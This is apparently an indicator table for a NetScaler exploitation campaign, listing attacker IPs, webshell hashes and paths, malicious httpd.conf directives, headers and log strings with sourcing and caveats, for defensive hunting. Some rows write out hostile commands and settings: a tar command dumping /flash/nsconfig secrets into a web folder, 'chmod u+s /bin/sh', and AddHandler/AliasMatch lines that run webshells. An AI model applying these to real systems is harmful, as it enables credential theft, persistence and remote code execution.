| IPv4 | 149.104.78.141 | GreyNoise blog [106]; GreyNoise Visualizer [108]; eSentire TRU [98] | Exploitation source, Sep 24 (3 sessions 07:32:19-07:32:20 UTC). GreyNoise Visualizer on Sep 29: AS154177 LIGHT NODE LIMITED, Japan; not observed mass scanning in the past day. | Observed in GreyNoise sensor data; not a universal indicator for every victim. Beaumont reports attacker IPs vary per victim. eSentire also lists it as an exploitation source. | TLP:CLEAR |
| File path | /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver | GreyNoise blog [106]; Unit 42 (Palo Alto Networks) [153]; Sygnia [73] | Webshell path on disk | Observed in GreyNoise sensor data; not a universal indicator for every victim. Beaumont reports webshell names are unique per victim. | TLP:CLEAR |
| URL alias | receiver.min.css | GreyNoise blog [106] | Webshell alias | Observed in GreyNoise sensor data; not a universal indicator for every victim. | TLP:CLEAR |
| AliasMatch regex | receiver\.min\.[0-9a-f]+\.css | GreyNoise blog [106]; CERT-EU [56] | Apache config (httpd.conf) AliasMatch | Observed in GreyNoise sensor data; not a universal indicator for every victim. Pattern as published; also check httpd.conf integrity generally. | TLP:CLEAR |
| SHA-256 | 6f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7 | GreyNoise blog [106] | Webshell hash | Observed in GreyNoise sensor data; not a universal indicator for every victim. Per-victim webshells may differ. | TLP:CLEAR |
| GreyNoise tag | Citrix NetScaler CVE-2026-88771 Login Command Injection RCE Attempt | GreyNoise tag [109]; GreyNoise blog [106] | Sensor detection tag, created Sep 27. GreyNoise Visualizer on Sep 29: 76 unique IPs tagged between Sep 19 and Sep 29, all classified malicious. All are listed in this table; two are Cloudflare WARP exits, marked as such. | Classifies traffic seen by GreyNoise and community sensors only. Most tagged IPs also carry crawler and CitrixBleed 2 tags, so many look like opportunistic scanning. | TLP:CLEAR |
| SHA-256 | ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1 | IFIN [111]; Rapid7 ETR [68] | .ctxs.receiver webshell sample (237-byte PHP file) first posted by a Reddit user and relayed by IFIN; Rapid7's MDR confirms it as the webshell placed in one of the two organisations it reports compromised via CVE-2026-88771, observed 24 September | Vendor-confirmed as an IR sample from one victim. The hardcoded token likely differs per victim, so the hash will too - match on file content, not hash. | Public, no restriction |
| IPv4 | 149.104.78.208 | Rapid7 ETR [68]; Poppelgaard [75] | Exploitation source of the earliest attempt Rapid7's MDR observed, 20 Sep 2026 14:28:43 UTC (only two attempts that day; not yet widespread). The injected username ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig: archives /flash/nsconfig - ns.conf with admin and LDAP/RADIUS/TACACS bind passwords, the ssl/ directory with certificates and private keys, SSH host keys and license files - into the Gateway-served /var/netscaler/gui/vpn/ folder, so any unauthenticated GET https://<gateway>/vpn/c returns the whole archive. Rapid7 identifies two organisations compromised via CVE-2026-88771: this command injection, and a .ctxs.receiver webshell (hash ed082f74...) on 24 September. Carried in the Poppelgaard checker since v1.11 (which credits Rapid7; first seen 20 Sep, tar of /flash/nsconfig to /vpn/c). GreyNoise-tagged address space (AS154177 LIGHT NODE LIMITED, Japan per the 149.104.78.141 neighbourhood). VirusTotal: 1 of 92 engines (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/149.104.78.208 | Vendor IR observation, first-hand from Rapid7 MDR. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. A /vpn/c request returning HTTP 200 in your logs is a config/key theft signal - rotate everything. | Public vendor blog |
| IPv4 | 104.248.244.66 | Truesec [69]; IFIN [111]; Unit 42 (Palo Alto Networks) [153] | Potential C2 IP observed by Truesec | IR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public page, no TLP marking |
| IPv4 | 139.180.152.138 | Truesec [69]; IFIN [111]; eSentire TRU [98]; Unit 42 (Palo Alto Networks) [153] | Potential C2 IP observed by Truesec; webshell delivery per eSentire | IR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public page, no TLP marking |
| IPv4 | 77.83.199.39 | Truesec [69]; IFIN [111]; eSentire TRU [98]; Unit 42 (Palo Alto Networks) [153]; Sygnia [73] | Potential C2 IP observed by Truesec; webshell delivery per eSentire | IR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public page, no TLP marking |
| IPv4 | 78.135.96.136 | IFIN [111] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 149.28.29.221 | IFIN [111] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 80.240.22.229 | IFIN [111] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 89.36.231.206 | IFIN [111] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 91.195.240.123 | IFIN [111] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. WHOIS: SEDO-NET, Sedo Domain Parking - a shared parking IP used by many unrelated parked domains. Expect heavy false positives; do not block on it alone. | Public, no restriction |
| IPv4 | 143.198.7.94 | Google GTIG / Mandiant [70] | Scanning and staging infrastructure | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| IPv4 | 157.254.167.12 | Google GTIG / Mandiant [70] | NetScaler exploitation and installation of a basic webshell backdoor | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| HTTP header | HTTP_NSC_LDAP | Google GTIG / Mandiant [70] | Inbound command execution header used by nsginstaller.deb | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| HTTP header | HTTP_NSC_CLIENTTYPE | Google GTIG / Mandiant [70] | Inbound command execution header used by nsgclient.sig | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| HTTP header | HTTP_X_UX / HTTP_X_UX_[0-9]+ | Google GTIG / Mandiant [70] | Chunked base64 transport headers used by WHIPSHOT | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/media/nsgclient.ico / /vpn/media/*.ico | Google GTIG / Mandiant [70] | Masquerading icon request routed to a .sig webshell via AliasMatch | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsginstaller*.deb | Google GTIG / Mandiant [70] | Staging path for malicious PHP webshells | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgclient*.deb | Google GTIG / Mandiant [70] | Staging path for malicious PHP webshells | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/*.php | Google GTIG / Mandiant [70] | Staging path for malicious PHP webshells | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| File path | /tmp/.uxdport | Google GTIG / Mandiant [70]; Rapid7 [86] | SLAPSHOT active port artefact (GTIG). Rapid7's incident analysis vendor-confirms the same file from a real compromise: agent.pl created a loopback listener on an ephemeral port and recorded it in /tmp/.uxdport, with /tmp/.uxdlock for process coordination and open/push/pull/exch/close operations turning the appliance into an internal TCP pivot | Now multi-source: GTIG's SLAPSHOT research plus first-hand Rapid7 IR. Both files together are a strong pivot signal. | Public blog, no TLP marking |
| File path | /tmp/.uxdlock | Google GTIG / Mandiant [70]; Rapid7 [86] | SLAPSHOT process lock artefact (GTIG); vendor-confirmed in Rapid7's incident analysis as the process-coordination file of the agent.pl TCP session manager | Now multi-source: GTIG plus first-hand Rapid7 IR. | Public blog, no TLP marking |
| Config directive | AddHandler application/x-httpd-php .deb | Google GTIG / Mandiant [70] | httpd.conf change making .deb files run as PHP (GTIG persistence method A) | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Any AddHandler/AddType mapping a non-PHP extension to PHP indicates compromise, per GTIG. | Public blog, no TLP marking |
| Config directive | AddHandler application/x-httpd-php .sig | Google GTIG / Mandiant [70] | httpd.conf change making .sig files run as PHP (GTIG persistence method B) | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| Config directive | AliasMatch ^/vpn/media/(.+).ico$ /var/netscaler/gui/vpn/scripts/linux/$1.sig | Google GTIG / Mandiant [70] | Routes /vpn/media/*.ico requests to a .sig webshell with the same base name | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| File path | /netscaler/ns_gui/vpn/scripts/linux/ | Google GTIG / Mandiant [70] | Directory where WHIPSHOT was placed | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Legitimate client binaries live here too; look for ASCII text or PHP markers. | Public blog, no TLP marking |
| Filename pattern | nginstaller* | Google GTIG / Mandiant [70] | Installer webshell names seen across intrusions, often followed by a number | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. GTIG says filenames varied between victims. | Public blog, no TLP marking |
| Filename | nsgclient.sig | Google GTIG / Mandiant [70] | .sig webshell in VPN script directories | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| Filename | e6ee7c85.sig | Google GTIG / Mandiant [70] | GTIG example .sig webshell: reads base64 payloads from HTTP_NSC_CLIENTTYPE, runs them via eval() and returns a fake 404. Reached as /vpn/media/e6ee7c85.ico through the AliasMatch above | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Example from one intrusion; GTIG says filenames varied between victims, so absence proves nothing. | Public blog, no TLP marking |
| Log string | pitboss NOT restarting NSPPE | Google GTIG / Mandiant [70] | Watchdog message in /var/log/messages after an NSPPE crash | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Strongest when it follows a DTLSv1.0 SSL_HANDSHAKE_FAILURE on the same appliance. | Public blog, no TLP marking |
| String | UXD_IDLE_EXIT | Google GTIG / Mandiant [70] | SLAPSHOT idle-exit variable | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| Command | chmod u+s /bin/sh | Google GTIG / Mandiant [70]; GreyNoise blog [106] | Sets setuid on /bin/sh for persistent root; ls -l /bin/sh showing -rwsr-xr-x owned by root means modified | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| IPv4 | 138.199.200.90 | Help Net Security (Sep 29) [158] | Destination for data exfiltrated via log poisoning (Hetzner), seen by Lupovis | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| IPv4 | 138.28.234.38 | Lupovis (@LupovisDefence) on X, Sep 28 [116]; Beazley Security advisory (updated Sep 29) [93] | Exploitation with attempted DNS exfiltration (Lupovis) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| IPv4 | 82.167.14.7 | Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109]; eSentire TRU [98] | Exploitation check that writes a test marker (Lupovis); exploitation source per eSentire; also tagged by GreyNoise | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. May be a researcher-style check. | Public article, no TLP marking |
| IPv4 | 85.203.46.191 | Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109] | Reconnaissance (Lupovis) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. WHOIS netname Express-Equinix-London; GreyNoise tags it as VPN, so likely a commercial VPN exit shared by many users. | Public article, no TLP marking |
| IPv4 | 154.217.251.226 | Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109] | CVE-2026-88772 scanning (Lupovis); also tagged by GreyNoise | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| IPv4 | 194.26.29.88 | Corelight [94] | Host of the reverse shell documented by Corelight (WHOIS: Media Land LLC, RU) | Reverse-shell infrastructure; hunt for connections from NetScaler NSIP/SNIP addresses. | Public blog, no TLP marking |
| DNS pattern | *.instances.httpworkbench.com | Help Net Security (Sep 29) [158]; Beazley Security advisory (updated Sep 29) [93] | Outbound lookups from a NetScaler suggest an out-of-band callback (Lupovis hunt advice) | httpworkbench.com is a public HTTP/DNS testing service, also used by researchers. Hunt signal only when the lookup comes from a NetScaler; do not block the apex. | Public article, no TLP marking |
| HTTP request pattern | POST /nf/auth/doAuthentication.do with body containing "pitboss PPE unexpectedly died NSPPE" | Help Net Security (Sep 29) [158] | Log-poisoning exploitation attempt (Lupovis hunt advice) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| URI path | /nf/auth/doAuthentication.do | Defused (@DefusedCyber) on X, Sep 29 [115]; Help Net Security (Sep 29) [158] | CVE-2026-88771 exploitation attempts seen on Defused decoys (any logged field works) | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
| URI path | /cgi/login | Defused (@DefusedCyber) on X, Sep 29 [115] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
| URI path | /p/u/doLogon.do | Defused (@DefusedCyber) on X, Sep 29 [115] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
| URI path | /logon/LogonPoint/tmindex.html | Defused (@DefusedCyber) on X, Sep 29 [115] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
| HTTP header | User-Agent (payload in the header on requests to /) | Defused (@DefusedCyber) on X, Sep 29 [115]; CERT-EU [56] | CVE-2026-88771 exploitation attempts seen on Defused decoys | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. CERT-EU separately flags base64 User-Agent strings starting with INDEX:. | Public post, no TLP marking |
| Filename | nx_verify.html | Defused (@DefusedCyber) on X, Sep 29 [115] | Marker file dropped to tag vulnerable boxes for a target list (Defused) | Also written by testers; means the box was reached and is exploitable, not necessarily that an actor installed a backdoor. | Public post, no TLP marking |
| SHA-256 | 5ea5ea61e9062822bee3f66ef5ff47c217178d9e31936ad6daf10c5dfae44d12 | eSentire TRU [98]; Sygnia [73] | PHP webshell, .ico variant (publicly on VirusTotal per eSentire); Sygnia also found it during an active IR investigation | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| SHA-256 | 7add390ceee4a1373211b3e340451b34f08965fc4d805f94c9b8cebdc0775774 | eSentire TRU [98]; Google GTIG / Mandiant [70] | PHP webshell disguised as nsgtrust.deb in /var/netscaler/gui/vpn/scripts/linux/ (eSentire TRU Cluster A, pre-disclosure, early September; the directory holds legitimate .deb files that mask it). Executes attacker-supplied code via the HTTP_NSC_CLIENTTYPE header, adds an application/x-httpd-php handler replacing the .ico handler in /etc/httpd.conf, sets php_flag engine on, sets the SUID bit on /bin/sh and cleans its own crontab artifacts - nearly identical to the lightweight installer webshell family in GTIG's research | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| File path | /var/netscaler/gui/vpn/scripts/linux/*.sig | eSentire TRU [98]; Google GTIG / Mandiant [70] | .ico-variant webshell location (eSentire); also matches GTIG method B | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| HTTP request pattern | GET /vpn/media/*.ico with base64 PHP (starting "PD9") appended to the User-Agent | eSentire TRU [98]; CERT-EU [56] | Payload staging via the access log (eSentire; matches CERT-EU technique) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 34.90.151.231 | eSentire TRU [98] | Reconnaissance and webshell delivery (eSentire) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. Google Cloud address space; may be reassigned. | Public advisory, no TLP marking |
| IPv4 | 31.56.197.72 | eSentire TRU [98]; Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]; Rapid7 [86] | Payload host (eSentire); Arctic Wolf: served /lula on ports 80 and 9090, and /kk. Rapid7's incident analysis lists the same address in its network indicators as payload delivery | Multi-source (eSentire, Arctic Wolf, LevelBlue, Rapid7 IR). Keep it blocked. | Public advisory, no TLP marking |
| IPv4 | 64.94.85.67 | eSentire TRU [98]; GreyNoise tag [109]; Arctic Wolf [72]; Sygnia [73]; LevelBlue SpiderLabs (THOR team) [82]; Rapid7 [86] | Payload host (eSentire); also tagged by GreyNoise. Rapid7's incident analysis lists the same address in its network indicators as payload delivery | Multi-source (eSentire, GreyNoise, Arctic Wolf, Sygnia, LevelBlue, Rapid7 IR). Keep it blocked. | Public advisory, no TLP marking |
| IPv4 | 23.27.143.20 | eSentire TRU [98]; Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82] | Payload host (eSentire); Arctic Wolf: served main.py on port 9000, saved as /var/1.py and run with python | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public advisory, no TLP marking |
| IPv4 | 62.133.62.80 | eSentire TRU [98]; GreyNoise tag [109]; Arctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]; Rapid7 [86] | Payload host (eSentire); also tagged by GreyNoise. Rapid7's incident analysis lists the same address in its network indicators as payload delivery - a second IR vendor observing it | Multi-source (eSentire IR, GreyNoise, Rapid7 IR). Keep it blocked. | Public advisory, no TLP marking |
| IPv4 | 144.172.108.78 | eSentire TRU [98] | Exploitation source (eSentire) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 185.156.46.162 | eSentire TRU [98]; GreyNoise tag [109] | Exploitation source (eSentire); also tagged by GreyNoise | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. GreyNoise tags it as VPN; may be shared. | Public advisory, no TLP marking |
| IPv4 | 153.75.82.220 | eSentire TRU [98]; GreyNoise tag [109]; Arctic Wolf [72] | Exploitation source (eSentire); also tagged by GreyNoise; Arctic Wolf: served /download/x.sh, piped to bash | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 216.203.21.233 | eSentire TRU [98]; GreyNoise tag [109] | Exploitation source (eSentire); also tagged by GreyNoise | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| IPv4 | 185.243.41.247 | eSentire TRU [98] | Campaign infrastructure (eSentire) | eSentire TRU incident-response observation. Payload hosts and exploitation sources change; not a universal indicator for every victim. | Public advisory, no TLP marking |
| Network | UDP/443 (DTLSv1.0) | Google GTIG / Mandiant [70] | Delivery protocol for the CVE-2026-88772 exploit (GTIG) | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Legitimate DTLS VPN traffic uses the same port; baseline normal DTLS sources. | Public blog, no TLP marking |
| Config directive | Alias /logon/LogonPoint/custom/receiver.min.css | Beazley Security Labs [101]; GreyNoise blog [106] | httpd.conf route to the .ctxs.receiver webshell (GreyNoise, via Beazley) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Config directive | AliasMatch ^/logon/LogonPoint/custom/receiver\.min\.[0-9a-f]+\.css$ | Beazley Security Labs [101]; GreyNoise blog [106] | httpd.conf route variant to the webshell (GreyNoise, via Beazley) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Config directive | php_flag engine on (changed from off) plus a SetHandler block for the webshell file | Beazley Security Labs [101]; CERT-EU [56] | PHP enabled for the webshell in httpd.conf (GreyNoise, CERT-EU, via Beazley) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. Compare /etc/httpd.conf with a clean appliance on the same build. | Public advisory, no TLP marking |
| HTTP cookie | CsrfToken + NSC_TASS | Beazley Security Labs [101]; IFIN [111] | Cookies used to access the .ctxs.receiver webshell (GreyNoise, via Beazley) | NetScaler uses both cookies legitimately. Suspicious only when NSC_TASS carries URL-encoded commands on requests to the webshell path. | Public advisory, no TLP marking |
| Log string | pitboss log lines containing IFS or b64decode | Beazley Security Labs [101] | Log-poisoning exploitation of CVE-2026-88771 (Beaumont, via Beazley); check ns.log, /var/log/messages and your SIEM | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | "missed too many heartbeats" or "unexpectedly died" in authentication log lines | Beazley Security Labs [101]; CERT-EU [56]; Arctic Wolf [72]; Sygnia [73] | Crafted login usernames imitating packet-engine messages (watchTowr, CERT-EU, via Beazley); ns.log | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| User-Agent | ns-88771-poc | Beazley Security Labs [101] | Public PoC/scanner User-Agent seen by Lupovis (via Beazley); Apache access logs | A public testing tool, not an actor indicator. Means someone tested the box. | Public advisory, no TLP marking |
| User-Agent | PoCbit | Poppelgaard [75] | Scanner User-Agent listed alongside ns-88771-poc in the Poppelgaard checker v1.11 log hunt (source of the value not stated there); Apache access logs | A testing-tool marker, not an actor indicator. A hit means someone ran a PoC or scanner against the box, possibly a researcher or defender. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/wtw888* | Poppelgaard [75]; watchTowr Detection Artefact Generator [58]; watchTowr Detection Artefact Generator [60] | Output marker glob from the Poppelgaard checker v1.11 for files written by exploit payloads and PoC tools (alongside /var/tmp/watchTowr*, /tmp/wtw*, /tmp/boom*, nx_verify.html, id009*) | Pattern from a public triage script, not a vendor report. The watchTowr tools document /var/tmp/watchTowr and /tmp/watchTowr as their example outputs; a wtw* hit means a PoC-class tool or payload ran on the box, and /tmp is in memory so it clears on reboot. | Public GitHub repository, no TLP marking |
| IPv4 | 78.128.113.10 | Poppelgaard [75] | Exploitation-attempt source per the GreyNoise-era list compiled from the public GreyNoise, Marius Sandbu and Lupovis releases (28-29 Sep), carried in the Poppelgaard checker. WHOIS: RACKWEB-NET, Miti 2000 EOOD. VirusTotal: 4 of 91 engines malicious, 3 suspicious (2 Oct) | Single compiled list; the checker does not state which source observed this specific IP, and no public source describes what it did. A hunting lead, not proof of targeting. | Public GitHub repository, no TLP marking |
| IPv4 | 78.128.113.101 | Poppelgaard [75] | Carried in the Poppelgaard checker IP list; not named in any public source. Same RACKWEB-NET block (Miti 2000 EOOD, Bulgaria) as the separately listed 78.128.113.10 - the checker v1.12 boundary-fix note names it only as the host that 78.128.113.10 must not be confused with, which is why it is kept as its own row | Weakest-provenance row on this page: the only public appearance of this address is inside the checker script itself, and the script gives it no role or observation. A hunting lead at most; treat any hit as a prompt to check what the host actually did. | Public GitHub repository, no TLP marking |
| IPv4 | 158.94.209.12 | Poppelgaard [75] | Download server or sender per Gotham Technology Group, shared with permission and carried in the Poppelgaard checker. WHOIS: OMEGATECH, Omegatech LTD. VirusTotal: 12 of 91 engines malicious (2 Oct) | Gotham IR observation shared with permission, relayed via the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 38.134.148.238 | Poppelgaard [75] | Tied to the 2 Oct activity, shared in the NetScaler community and carried in the Poppelgaard checker's GreyNoise-tagged probe group. WHOIS: Cogent Communications (COGENT-A block); announced via AS174 Cogent per BGP. VirusTotal: 2 of 91 engines malicious, 2 suspicious (3 Oct) | Community-shared via the checker; the checker itself groups it as scanner noise, and no public source describes what it did or links it to the campaign first-hand. A hunting lead, not a confirmed attacker address; not in this site's firewall blocklist. | Public GitHub repository, no TLP marking |
| IPv4 | 167.148.88.236 | Poppelgaard [75] | Tied to the 2 Oct activity, shared in the NetScaler community and carried in the Poppelgaard checker's GreyNoise-tagged probe group. WHOIS: RIPE allocation, netname NET-167-148-88-0-24 (Ultahost, New York per PTR range data). VirusTotal: 1 of 91 engines malicious, 1 suspicious (3 Oct) | Community-shared via the checker; the checker itself groups it as scanner noise, and no public source describes what it did or links it to the campaign first-hand. A hunting lead, not a confirmed attacker address; not in this site's firewall blocklist. | Public GitHub repository, no TLP marking |
| IPv4 | 5.188.206.226 | Poppelgaard [75] | Download server or sender per Gotham Technology Group, shared with permission and carried in the Poppelgaard checker. WHOIS: TAIL-NET, Technology Advanced Investment Limited (announced via AS200391 KREZ 999, a reseller routing the range). VirusTotal: 0 of 91 engines malicious, 1 suspicious (2 Oct) | Gotham IR observation shared with permission, relayed via the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. Low VirusTotal score does not prove safety. | Public GitHub repository, no TLP marking |
| String | NX-CVE-OK | Beazley Security Labs [101] | Test-marker text dropped in web folders by exploitation checks (Lupovis, via Beazley); grep /netscaler/ns_gui | Means the box was reached and is exploitable, not necessarily backdoored. | Public advisory, no TLP marking |
| File permission | /bin/sh expected -r-xr-xr-x (setuid means modified) | Beazley Security Labs [101]; Google GTIG / Mandiant [70] | Check with ls -l /bin/sh before patching; the installer sets setuid (Beazley, GTIG) | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| IPv4 | 172.247.44.85 | GreyNoise tag [109]; Poppelgaard [75] | CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CNSERVERS LLC, United States). Huntback (7 Oct, via checker v1.15) moved it from its scanner group to confirmed command-injection sources | Huntback decoy telemetry plus GreyNoise tagging; command injection confirmed by a decoy operator. Keep it blocked. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 165.227.201.112 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 173.231.39.244 | GreyNoise tag [109]; Rapid7 [86] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (WebNX, Inc., United States). Rapid7's incident analysis lists the same address in its network indicators as payload delivery | Multi-source: GreyNoise tagging plus first-hand Rapid7 IR. Keep it blocked. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 64.225.103.14 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, Germany) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 159.65.104.231 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 142.93.205.229 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (DigitalOcean, LLC, United States) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 182.101.54.57 | GreyNoise tag [109] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (CHINANET BACKBONE, China) | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. | GreyNoise Visualizer tag search, viewed Sep 29 |
| IPv4 | 87.224.84.82 | GreyNoise tag [109]; LevelBlue SpiderLabs (THOR team) [82] | Tagged by GreyNoise for CVE-2026-88771 exploitation attempts, last seen Sep 28-29 (Spitfire Network Services Limited, United Kingdom). LevelBlue: source of a configuration-staging attempt | Opportunistic scanning or exploitation attempt seen by GreyNoise sensors after the public PoC; most of these IPs also carry crawler and CitrixBleed 2 tags. A hunting lead, not proof of targeting. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | GreyNoise Visualizer tag search, viewed Sep 29 |
